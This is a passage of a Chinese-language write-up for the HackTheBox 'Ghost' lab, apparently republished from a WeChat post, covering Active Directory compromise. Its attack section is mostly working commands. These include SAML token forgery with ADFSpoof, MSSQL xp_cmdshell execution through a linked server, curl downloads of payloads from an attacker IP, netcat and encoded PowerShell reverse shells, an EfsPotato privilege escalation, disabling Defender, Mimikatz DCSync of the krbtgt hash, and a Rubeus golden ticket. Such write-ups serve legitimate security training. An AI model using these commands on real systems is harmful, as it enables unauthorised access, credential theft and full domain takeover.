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[-] Encrypted Token Signing Key End[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC[-] Store location value: CurrentUser[-] Store name value: My## Reading The Issuer Identifier[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust[-] Detected AD FS 2019[-] Uncharted territory! This might not work...## Reading Relying Party Trust Information from Database[-]core.ghost.htb==================Enabled: TrueSign-In Protocol: SAML 2.0Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponseSignature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256SamlResponseSignatureType: 1;Identifier: https://core.ghost.htb:8443Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS"><RequireFreshAuthentication>false</RequireFreshAuthentication><IssuanceAuthorizationRules><Rule><Conditions><Condition i:type="AlwaysCondition"><Operator>IsPresent</Operator></Condition></Conditions></Rule></IssuanceAuthorizationRules></PolicyMetadata>Access Policy Parameter:Issuance Rules: @RuleTemplate = "LdapClaims"@RuleName = "LdapClaims"c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Ghost

根据指向的https://core.ghost.htb:8443/,这里我用[email protected]/Qwertyuiop1234$$作为账号密码登录,但是它提示只能用作于Administrator

Ghost

保存私钥private key和解码后的Token Signing Key 

echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' |tr -d '-'| xxd -r -p > private_key.bincat token.txt| base64 -d > token.bin

Ghost

利用 ADFSpoof.py 工具伪造一个有效的 SAML令牌请求,并将其发送到目标 AD FS)的 SAML 认证 API 端点,以冒充 GHOSTadministrator进行访问。

https://github.com/mandiant/ADFSpoof

python3 ADFSpoof.py -b ../token.bin decryptionKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOSTadministrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOSTadministrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'-b ../token.bin decryptionKey.bin-b 参数:为脚本输入所需的加密令牌和解密密钥。../token.bin:一个现有的加密令牌(可能是从目标 AD FS 系统中提取到了 Token Signing Key 或其他相关加密密钥)。这是伪造 SAML 请求所需的数据源。decryptionKey.bin:用于解密上述加密令牌的私钥文件。只有具备正确的解密密钥才能生成有效的伪造操作。../token.bin 和 decryptionKey.bin 的组合作用是伪造一个合法的签名密钥,然后用这个签名密钥为伪造的 SAML 令牌添加合法的数字签名,从而绕过目标系统对令牌真实性的验证。-s core.ghost.htb saml2-s 参数:指定 SAML 请求中有关 Service Provider (SP, 服务提供者) 的信息。core.ghost.htb:目标系统的服务提供者,通常是运行 AD FS 服务的域名或服务名称。在这个例子中,core.ghost.htb 是目标 AD FS 的域名。saml2:表示这个伪造的身份请求使用 SAML 2.0 协议。SAML 是一个用于用户认证和授权的标准协议。--endpoint https://core.ghost.htb:8443/adfs/saml/postResponse作用:指定将伪造的请求发送到目标 AD FS 的认证端点(SAML 的 Post Response 端点)。https://core.ghost.htb:8443/adfs/saml/postResponse:https://:目标服务支持的传输协议。core.ghost.htb:目标服务的主机名。:8443:服务运行的目标端口号(8443 是 HTTP 的默认安全端口,与 443 类似)。/adfs/saml/postResponse:AD FS 的 SAML POST 响应端点。伪造的 SAML 令牌会通过这个地址发送到目标系统以进行验证。这部分的作用是告诉脚本,SAML 响应应该发往哪个具体的目标服务和认证接口。--nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient--nameidformat 参数:指定 SAML 请求中的 NameID 格式。NameID 是 SAML 中用来标识用户身份的重要字段。urn:oasis:names:tc:SAML:2.0:nameid-format:transient:这个值表示 NameID 格式为短暂身份识别码,通常用于一次性会话 ID。它不会长期持久存储,而是生成后短时间内有效。--nameid 'GHOSTadministrator'--nameid 参数:指定 NameID 的具体身份值。'GHOSTadministrator':请求中伪造的 NameID 值。此处模拟的是一个高级权限用户身份 GHOSTadministrator,目标是冒充这个用户角色。--rpidentifier https://core.ghost.htb:8443--rpidentifier 参数:指定 Relying Party 的标识符 (Relying Party 是 SAML 协议中的受信任服务或目标应用)。值:https://core.ghost.htb:8443这是从目标系统中提取的 Relying Party Trust 配置中显示的 Identifier 值。作用:确保伪造的请求能够匹配目标服务的期望,绕过认证。--assertions参数:指定 SAML 响应中包含的属性声明作用:这些声明定义了伪造用户的身份属性信息,目标服务会根据这些属性对用户进行身份验证。或者用urn:oasis:names:tc:SAML:1:1:nameid-format:emailAddresspython3 ADFSpoof.py -b token.bin private_key.bin -s 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --nameidformat 'urn:oasis:names:tc:SAML:1:1:nameid-format:emailAddress' --nameid '[email protected]' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

Ghost

修改post请求,加入参数SAMLResponse=PHNhbWxwOlJlc3BvbnNlIH......,在相应包中获得了admin的cooke

Ghost

F12在cookie位置粘贴一下admin的cooke

Ghost

然后访问https://core.ghost.htb:8443/就会来到数据库页面

Ghost

EXEC sp_linkedservers;列出当前 MSSQL 服务器中的所有 Linked Servers(链接服务器),返回了DC01和PRIMARY

Ghost

切换sa并返回当前登录的用户名,结果显示为sa,可以试试利用sa身份获得shell

sql=EXECUTE('EXECUTE+AS+LOGIN+%3d+''sa''%3bSELECT+SYSTEM_USER')+AT+[PRIMARY]

Ghost

可以成功执行命令

sql=EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "whoami"') AT [PRIMARY]

Ghost

反弹1

python3 PowerJoker.py -l 10.10.16.45 -p 3333

Ghost

上传payload.ps1

sql=EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "curl http://10.10.16.45:8888/Payload.ps1-o%temp%Payload.ps1"') AT [PRIMARY]

Ghost

运行payload.ps1

sql=EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "powershell -c C:\windowstempPayload.ps1"') AT [PRIMARY]

Ghost

Ghost

反弹2

上传nc.exe

sql=EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "curl http://10.10.16.45:8888/nc/nc64.exe-oC:windowstempnc64.exe"') AT [PRIMARY]

Ghost

Ghost

运行nc,成功反弹shell

sql=EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "C:windowstempnc64.exe -e powershell 10.10.16.45 3333"') AT [PRIMARY]

Ghost

Ghost

SeImpersonatePrivilege是一个权限,授予户或进程的能力,以模拟安全方面的另一个用户或账户。 这个特权,允许进程承担的身份不同的用户,使它能够执行的行动或访问的资源,如果它是用户。

然而,如果管理不当或未经授权的用户或进程,SeImpersonatePrivilege可以构成一个严重的安全风险。 SeImpersonatePrivilege脆弱性可以利用恶意行为者进行的各种攻击和获得未经授权的访问系统。 

whoami /priv 输出当前用户的权限状态

SeImpersonatePrivilege Impersonate a client after authentication Enabled 

存在土豆提权

https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeImpersonatePrivilege.md

https://www.plesk.com/kb/support/microsoft-windows-seimpersonateprivilege-local-privilege-escalation/

Ghost

Ghost

potato提权

下载potato提权文件wget http://10.10.16.45:8888/EfsPotato.cs -o EfsPotato.csWindows 的 C# 编译器 (csc.exe) 来编译 EfsPotato.cs 的源代码C:WindowsMicrosoft.NetFrameworkv4.0.30319csc.exe EfsPotato.cs -nowarn:1691,618提前监听指定端口,执行提权命令./EfsPotato.exe 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANAA1ACIALAA1ADUANQA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='./EfsPotato.exe 'C://windows/temp/nc64.exe -e powershell 10.10.16.45 6666'

Ghost

Ghost

获得nt authoritysystem权限

Ghost

关闭 Windows Defender 的实时保护功能,方便后续上传文件

Set-MpPreference -DisableRealtimeMonitoring $TrueGet-MpPreference | Select-Object -Property DisableRealtimeMonitoring 验证是否关闭成功,返回True则是关闭实时杀毒

Ghost

现在是有了PRIMARY的系统权限(10.0.0.10),root.txt应该在DC01.GHOST.HTB(10.10.0.254)

systeminfo 表明,这台主机是一部分 corp.ghost.htb 域:

Ghost

Ghost

上传powerview运行,可以看到域 corp.ghost.htb 和 ghost.htb 存在 双向信任关系。查看sid

ghost.htb域的SID:S-1-5-21-4084500788-938703357-3654145966corp.ghost.htb域的SID:S-1-5-21-2034262909-2733679486-179904498

Ghost

krbtgt账户是Active Directory中的关键账户,用于Kerberos票据的生成和验证。攻击者若成功获得krbtgt账户的哈希值,就可能用以伪造Kerberos票据(Golden Ticket攻击)

调用Mimikatz的lsadump::dcsync模块,模拟域控制器同步(DCSync)操作,获取krbtgt账户的NTLM密码哈希

69eb46aa347a8c68edb99be2725403ab

wget http://10.10.16.45:8888//mimikatz/x64/mimikatz.exe -o mimikatz.exe.mimikatz.exe 'lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' exit

Ghost

https://github.com/GhostPack/Rubeus

这里可以下载已经编译好的Rubeus.exe

https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_Any/Rubeus.exe

参考:

https://blog.zjun.info/tech/kerberos-domain-delegation-attack/

https://blog.csdn.net/weixin_45910629/article/details/138976821

用rubeus生成黄金票据

wget http://10.10.16.45:8888/Rubeus.exe -o rubeus.exe.rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt

golden:标记操作类型为生成黄金票(Golden Ticket)。/aes256:...:提供用于签名票据的KRBTGT账户的AES-256哈希,确保伪造票据可信。/ldap:表示将票据注入LDAP(被动攻击或内存操作的一种方式)。/user:Administrator:你希望伪造的目标用户是Administrator/sids:...:为目标用户指定对应的SID,使票据看起来真实合法。/ptt:生成后立即将票据注入当前登录会话中,使其立即生效可以被使用。

Ghost

Ghost

获得root.txt

dir \dc01.ghost.htbc$UsersAdministratorDesktoptype \dc01.ghost.htbc$UsersAdministratorDesktoproot.txt

Ghost

原文始发于微信公众号(王之暴龙战神):Ghost

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日01:37:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ghosthttps://cn-sec.com/archives/3980105.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息